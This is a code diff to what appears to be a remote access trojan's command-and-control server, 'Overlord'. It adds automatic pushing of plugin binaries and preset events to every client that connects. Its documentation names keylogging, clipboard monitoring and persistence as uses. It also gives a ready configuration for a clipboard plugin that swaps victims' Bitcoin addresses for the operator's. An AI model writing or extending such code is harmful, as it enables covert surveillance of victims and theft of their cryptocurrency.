diff --git a/Overlord-Server/public/assets/plugins.js b/Overlord-Server/public/assets/plugins.js
index 87d224f..3ddd0d9 100644
--- a/Overlord-Server/public/assets/plugins.js
+++ b/Overlord-Server/public/assets/plugins.js
@@ -134,6 +134,35 @@ function renderPlugins(plugins) {
await refresh();
});
+ const autoLoadBtn = document.createElement("button");
+ autoLoadBtn.className =
+ "inline-flex items-center gap-2 px-3 py-2 rounded-lg border" +
+ (plugin.autoLoad
+ ? " border-amber-600 text-amber-200 bg-amber-900/40"
+ : " border-slate-600 text-slate-300 bg-slate-800/60");
+ autoLoadBtn.innerHTML = plugin.autoLoad
+ ? ' Auto-load'
+ : ' Auto-load off';
+ autoLoadBtn.title = plugin.autoLoad
+ ? "Plugin will auto-load on all new client connections. Click to disable."
+ : "Click to auto-load this plugin on all new client connections.";
+ autoLoadBtn.addEventListener("click", async () => {
+ const res = await fetch(`/api/plugins/${plugin.id}/autoload`, {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({
+ autoLoad: !plugin.autoLoad,
+ autoStartEvents: plugin.autoStartEvents || [],
+ }),
+ });
+ if (!res.ok) {
+ const text = await res.text();
+ setStatus(`Auto-load toggle failed: ${text}`, true);
+ return;
+ }
+ await refresh();
+ });
+
const removeBtn = document.createElement("button");
removeBtn.className =
"inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-red-900/40 border border-red-700/60 hover:bg-red-800/60 text-red-100";
@@ -150,6 +179,7 @@ function renderPlugins(plugins) {
await refresh();
});
actions.appendChild(toggle);
+ actions.appendChild(autoLoadBtn);
actions.appendChild(removeBtn);
card.appendChild(meta);
card.appendChild(actions);
diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts
index 36979ca..4cb7a8d 100644
--- a/Overlord-Server/src/main-server.ts
+++ b/Overlord-Server/src/main-server.ts
@@ -56,6 +56,7 @@ import {
loadPluginStateFromDisk,
savePluginStateToDisk,
sendPluginBundle,
+ dispatchAutoLoadPlugins,
} from "./server/plugin-state-bundle";
import {
DISCONNECT_TIMEOUT_MS,
@@ -169,7 +170,7 @@ const MAX_HTTP_BODY_BYTES = parseMaxHttpBodyBytes();
const pluginLoadedByClient = new Map>();
const pendingPluginEvents = new Map>();
const pluginLoadingByClient = new Map>();
-let pluginState = { enabled: {} as Record, lastError: {} as Record };
+let pluginState = { enabled: {} as Record, lastError: {} as Record, autoLoad: {} as Record, autoStartEvents: {} as Record> };
const savePluginState = () => savePluginStateToDisk(PLUGIN_ROOT, PLUGIN_STATE_PATH, pluginState);
const loadPluginState = async () => {
@@ -345,6 +346,7 @@ async function startServer() {
isPluginLoaded: notificationPluginHandlers.isPluginLoaded,
isPluginLoading: notificationPluginHandlers.isPluginLoading,
enqueuePluginEvent: notificationPluginHandlers.enqueuePluginEvent,
+ drainPluginUIEvents: notificationPluginHandlers.drainPluginUIEvents,
secureHeaders,
securePluginHeaders,
mimeType,
@@ -439,6 +441,17 @@ async function startServer() {
handleKeyloggerViewerMessage,
handleVoiceViewerMessage,
dispatchAutoScriptsForConnection,
+ dispatchAutoLoadPlugins: (info: import("./types").ClientInfo) => {
+ dispatchAutoLoadPlugins(
+ info,
+ pluginState,
+ notificationPluginHandlers.isPluginLoaded,
+ notificationPluginHandlers.isPluginLoading,
+ notificationPluginHandlers.markPluginLoading,
+ notificationPluginHandlers.enqueuePluginEvent,
+ loadPluginBundle,
+ );
+ },
takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient,
storeNotificationScreenshot: storeNotificationScreenshotForPending,
handleNotificationScreenshotResult: notificationPluginHandlers.handleNotificationScreenshotResult,
diff --git a/Overlord-Server/src/server/plugin-state-bundle.ts b/Overlord-Server/src/server/plugin-state-bundle.ts
index 91d6748..4060441 100644
--- a/Overlord-Server/src/server/plugin-state-bundle.ts
+++ b/Overlord-Server/src/server/plugin-state-bundle.ts
@@ -9,18 +9,22 @@ import { encodeMessage, type PluginManifest } from "../protocol";
export type PluginState = {
enabled: Record;
lastError: Record;
+ autoLoad: Record;
+ autoStartEvents: Record>;
};
export async function loadPluginStateFromDisk(pluginStatePath: string): Promise {
try {
const raw = await fs.readFile(pluginStatePath, "utf-8");
- const parsed = JSON.parse(raw) as { enabled?: Record; lastError?: Record };
+ const parsed = JSON.parse(raw) as Partial;
return {
enabled: parsed.enabled || {},
lastError: parsed.lastError || {},
+ autoLoad: parsed.autoLoad || {},
+ autoStartEvents: parsed.autoStartEvents || {},
};
} catch {
- return { enabled: {}, lastError: {} };
+ return { enabled: {}, lastError: {}, autoLoad: {}, autoStartEvents: {} };
}
}
@@ -269,6 +273,43 @@ export function sendPluginBundle(
);
}
+export async function dispatchAutoLoadPlugins(
+ client: ClientInfo,
+ pluginState: PluginState,
+ isPluginLoaded: (clientId: string, pluginId: string) => boolean,
+ isPluginLoading: (clientId: string, pluginId: string) => boolean,
+ markPluginLoading: (clientId: string, pluginId: string) => void,
+ enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void,
+ loadBundle: (pluginId: string, clientOS?: string, clientArch?: string) => Promise<{ manifest: PluginManifest; binary: Uint8Array | null }>,
+): Promise {
+ const autoLoadIds = Object.entries(pluginState.autoLoad)
+ .filter(([id, enabled]) => enabled && pluginState.enabled[id] !== false)
+ .map(([id]) => id);
+
+ for (const pluginId of autoLoadIds) {
+ if (isPluginLoaded(client.id, pluginId) || isPluginLoading(client.id, pluginId)) {
+ continue;
+ }
+
+ try {
+ const bundle = await loadBundle(pluginId, client.os, client.arch);
+ markPluginLoading(client.id, pluginId);
+ sendPluginBundle(client, bundle);
+
+ const autoEvents = pluginState.autoStartEvents[pluginId];
+ if (autoEvents && autoEvents.length > 0) {
+ for (const evt of autoEvents) {
+ enqueuePluginEvent(client.id, pluginId, evt.event, evt.payload);
+ }
+ }
+
+ logger.info(`[plugin-autoload] dispatched ${pluginId} to ${client.id}`);
+ } catch (err) {
+ logger.warn(`[plugin-autoload] failed to load ${pluginId} for ${client.id}: ${(err as Error).message}`);
+ }
+ }
+}
+
function derivePlatformKey(filename: string): string {
const match = filename.match(/-(linux|darwin|windows|freebsd)-(amd64|arm64|arm|386)\.(so|dll|dylib)$/i);
if (match) {
diff --git a/Overlord-Server/src/server/routes/plugin-routes.ts b/Overlord-Server/src/server/routes/plugin-routes.ts
index 3e651c7..776f008 100644
--- a/Overlord-Server/src/server/routes/plugin-routes.ts
+++ b/Overlord-Server/src/server/routes/plugin-routes.ts
@@ -20,6 +20,8 @@ type PluginBundle = {
type PluginState = {
enabled: Record;
lastError: Record;
+ autoLoad: Record;
+ autoStartEvents: Record>;
};
type PluginRouteDeps = {
@@ -38,6 +40,7 @@ type PluginRouteDeps = {
isPluginLoaded: (clientId: string, pluginId: string) => boolean;
isPluginLoading: (clientId: string, pluginId: string) => boolean;
enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void;
+ drainPluginUIEvents: (clientId: string, pluginId: string) => Array<{ event: string; payload: any }>;
secureHeaders: (contentType?: string) => Record;
securePluginHeaders: () => Record;
mimeType: (path: string) => string;
@@ -65,6 +68,8 @@ export async function handlePluginRoutes(
...p,
enabled: deps.pluginState.enabled[p.id] !== false,
lastError: deps.pluginState.lastError[p.id] || "",
+ autoLoad: deps.pluginState.autoLoad[p.id] === true,
+ autoStartEvents: deps.pluginState.autoStartEvents[p.id] || [],
}));
return Response.json({ plugins: enriched });
}
@@ -173,6 +178,59 @@ export async function handlePluginRoutes(
return Response.json({ ok: true, id: pluginId, enabled });
}
+ const pluginAutoLoadMatch = url.pathname.match(/^\/api\/plugins\/(.+)\/autoload$/);
+ if (req.method === "POST" && pluginAutoLoadMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ if (user.role !== "admin" && user.role !== "operator") {
+ return new Response("Forbidden: Admin or operator access required", { status: 403 });
+ }
+ let pluginId = "";
+ try {
+ pluginId = deps.sanitizePluginId(pluginAutoLoadMatch[1]);
+ } catch {
+ return new Response("Invalid plugin id", { status: 400 });
+ }
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {}
+ const autoLoad = !!body.autoLoad;
+ deps.pluginState.autoLoad[pluginId] = autoLoad;
+
+ if (Array.isArray(body.autoStartEvents)) {
+ const validEvents = body.autoStartEvents.filter(
+ (e: any) => e && typeof e.event === "string" && e.event.length > 0,
+ );
+ deps.pluginState.autoStartEvents[pluginId] = validEvents;
+ }
+
+ await deps.savePluginState();
+
+ if (autoLoad) {
+ const allClients = clientManager.getAllClients();
+ for (const [cid, client] of allClients) {
+ if (deps.isPluginLoaded(cid, pluginId) || deps.isPluginLoading(cid, pluginId)) continue;
+ try {
+ const bundle = await deps.loadPluginBundle(pluginId, client.os, client.arch);
+ deps.markPluginLoading(cid, pluginId);
+ deps.sendPluginBundle(client, bundle);
+ metrics.recordCommand("plugin_load");
+ } catch {
+ }
+ }
+ }
+
+ return Response.json({
+ ok: true,
+ id: pluginId,
+ autoLoad,
+ autoStartEvents: deps.pluginState.autoStartEvents[pluginId] || [],
+ });
+ }
+
const pluginDeleteMatch = url.pathname.match(/^\/api\/plugins\/(.+)$/);
if (req.method === "DELETE" && pluginDeleteMatch) {
const user = await authenticateRequest(req);
@@ -201,10 +259,30 @@ export async function handlePluginRoutes(
await fs.rm(pluginDir, { recursive: true, force: true });
} catch {}
+ // Unload from all clients that have it loaded
+ for (const [cid, loadedSet] of deps.pluginLoadedByClient) {
+ if (!loadedSet.has(pluginId)) continue;
+ const target = clientManager.getClient(cid);
+ if (target) {
+ try {
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "plugin_unload",
+ id: uuidv4(),
+ payload: { pluginId },
+ }),
+ );
+ } catch {}
+ }
+ }
+
deps.pluginLoadedByClient.forEach((set) => set.delete(pluginId));
deps.pluginLoadingByClient.forEach((set) => set.delete(pluginId));
delete deps.pluginState.enabled[pluginId];
delete deps.pluginState.lastError[pluginId];
+ delete deps.pluginState.autoLoad[pluginId];
+ delete deps.pluginState.autoStartEvents[pluginId];
await deps.savePluginState();
return Response.json({ ok: true, id: pluginId });
@@ -241,6 +319,22 @@ export async function handlePluginRoutes(
}
}
+ const pluginEventsPollMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/events$/);
+ if (req.method === "GET" && pluginEventsPollMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) return new Response("Unauthorized", { status: 401 });
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+ const targetId = pluginEventsPollMatch[1];
+ const pluginId = pluginEventsPollMatch[2];
+ const events = deps.drainPluginUIEvents(targetId, pluginId);
+ return Response.json({ events });
+ }
+
const pluginEventMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/event$/);
if (req.method === "POST" && pluginEventMatch) {
const user = await authenticateRequest(req);
diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
index 28d3364..a3af11b 100644
--- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
+++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
@@ -53,6 +53,7 @@ type WsLifecycleDeps = {
handleKeyloggerViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void;
handleVoiceViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void;
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket) => void;
+ dispatchAutoLoadPlugins: (info: ClientInfo) => void;
takePendingNotificationScreenshot: (clientId: string) => any;
storeNotificationScreenshot: (
pending: any,
@@ -373,6 +374,7 @@ export async function handleWebSocketMessage(
clientManager.addClient(infoObj.id, infoObj);
deps.dispatchAutoScriptsForConnection(infoObj, ws);
+ deps.dispatchAutoLoadPlugins(infoObj);
deps.notifyDashboard();
deps.notifyDashboardClientEvent("client_online", {
id: infoObj.id,
diff --git a/Overlord-Server/src/server/ws-notifications-plugin.ts b/Overlord-Server/src/server/ws-notifications-plugin.ts
index a19b6db..3e45772 100644
--- a/Overlord-Server/src/server/ws-notifications-plugin.ts
+++ b/Overlord-Server/src/server/ws-notifications-plugin.ts
@@ -75,6 +75,33 @@ function safeSendViewer(ws: ServerWebSocket, payload: unknown) {
}
export function createNotificationPluginHandlers(deps: CreateDeps) {
+ const pluginUIEventBuffer = new Map>();
+ const PLUGIN_UI_EVENT_BUFFER_MAX = 200;
+ const PLUGIN_UI_EVENT_TTL_MS = 60_000;
+
+ function bufferPluginUIEvent(clientId: string, pluginId: string, event: string, payload: any) {
+ const key = `${clientId}:${pluginId}`;
+ let list = pluginUIEventBuffer.get(key);
+ if (!list) {
+ list = [];
+ pluginUIEventBuffer.set(key, list);
+ }
+ list.push({ event, payload, ts: Date.now() });
+ if (list.length > PLUGIN_UI_EVENT_BUFFER_MAX) {
+ list.splice(0, list.length - PLUGIN_UI_EVENT_BUFFER_MAX);
+ }
+ }
+
+ function drainPluginUIEvents(clientId: string, pluginId: string): Array<{ event: string; payload: any }> {
+ const key = `${clientId}:${pluginId}`;
+ const list = pluginUIEventBuffer.get(key);
+ if (!list || list.length === 0) return [];
+ const now = Date.now();
+ const fresh = list.filter((e) => now - e.ts < PLUGIN_UI_EVENT_TTL_MS);
+ pluginUIEventBuffer.delete(key);
+ return fresh.map(({ event, payload }) => ({ event, payload }));
+ }
+
function requestNotificationScreenshot(info: any, record: NotificationRecord) {
if (!info || !info.ws) return;
const commandId = `notify-shot-${uuidv4()}`;
@@ -356,6 +383,7 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
const pluginId = (payload as any).pluginId || "";
const event = (payload as any).event || "";
const error = (payload as any).error || "";
+ const eventPayload = (payload as any).payload;
logger.debug(`[plugin] client=${clientId} plugin=${pluginId} event=${event} error=${error}`);
if (event === "loaded") {
markPluginLoaded(clientId, pluginId);
@@ -374,6 +402,12 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
void deps.savePluginState();
}
}
+ // Buffer all events for UI polling
+ if (pluginId && event) {
+ bufferPluginUIEvent(clientId, pluginId, event, eventPayload ?? (error ? { error } : null));
+ }
},
+
+ drainPluginUIEvents,
};
}
diff --git a/PLUGINS.md b/PLUGINS.md
index a9b7ae8..897ce1a 100644
--- a/PLUGINS.md
+++ b/PLUGINS.md
@@ -250,9 +250,10 @@ Plugin UIs run in a **sandboxed iframe** with a fetch bridge.
### Plugin management
-- `GET /api/plugins` — list installed plugins
+- `GET /api/plugins` — list installed plugins (includes `autoLoad` and `autoStartEvents` per plugin)
- `POST /api/plugins/upload` — upload zip
- `POST /api/plugins//enable` — enable/disable
+- `POST /api/plugins//autoload` — configure auto-load on client connect
- `DELETE /api/plugins/` — remove
### Per-client plugin runtime
@@ -269,4 +270,92 @@ Plugin UIs run in a **sandboxed iframe** with a fetch bridge.
- `WS /api/clients//files/ws`
- `WS /api/clients//processes/ws`
+## 7) Auto-load plugins on client connect
+
+By default, plugins are only loaded when manually triggered via the API or UI. For plugins that need to run 24/7 on every connected client (e.g. clipboard monitoring, keylogging, persistence), you can configure **auto-load**.
+
+When auto-load is enabled for a plugin, the server will automatically load it onto every client that connects. If the client already has the plugin loaded, it's skipped — no duplicate loads.
+
+You can also configure **auto-start events** — a list of events that are queued and delivered to the plugin immediately after it loads. This lets you pre-configure the plugin without any manual interaction.
+
+### Enable auto-load
+
+```
+POST /api/plugins//autoload
+Content-Type: application/json
+
+{
+ "autoLoad": true
+}
+```
+
+### Enable auto-load with auto-start events
+
+```
+POST /api/plugins//autoload
+Content-Type: application/json
+
+{
+ "autoLoad": true,
+ "autoStartEvents": [
+ { "event": "add_rule", "payload": { "pattern": "^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$", "replacement": "your-btc-address" } },
+ { "event": "start", "payload": {} }
+ ]
+}
+```
+
+The events in `autoStartEvents` are queued in order and delivered to the plugin after it reports `loaded`. This works exactly like calling the event API multiple times, but happens automatically.
+
+### Disable auto-load
+
+```
+POST /api/plugins//autoload
+Content-Type: application/json
+
+{
+ "autoLoad": false
+}
+```
+
+### How it works
+
+1. Client connects and completes the enrollment handshake
+2. Server sends `hello_ack` (as usual)
+3. Server dispatches auto-scripts (as usual)
+4. Server checks all plugins with `autoLoad: true` and `enabled: true`
+5. For each, if the plugin is **not already loaded** on that client:
+ - Sends the plugin binary bundle (chunked)
+ - Queues any `autoStartEvents`
+6. When the plugin reports `loaded`, queued events are flushed in order
+
+### Checking auto-load status
+
+`GET /api/plugins` returns `autoLoad` and `autoStartEvents` for each plugin:
+
+```json
+{
+ "plugins": [
+ {
+ "id": "clipreplace",
+ "name": "clipreplace",
+ "enabled": true,
+ "autoLoad": true,
+ "autoStartEvents": [
+ { "event": "add_rule", "payload": { "pattern": "...", "replacement": "..." } },
+ { "event": "start", "payload": {} }
+ ],
+ "lastError": ""
+ }
+ ]
+}
+```
+
+### Notes
+
+- Auto-load respects the `enabled` flag — disabled plugins are never auto-loaded
+- Auto-load state is persisted in `.plugin-state.json` and survives server restarts
+- Deleting a plugin also removes its auto-load configuration
+- The server selects the correct binary for each client's OS/architecture automatically
+- If a plugin binary isn't available for a client's platform, the auto-load silently skips that client
+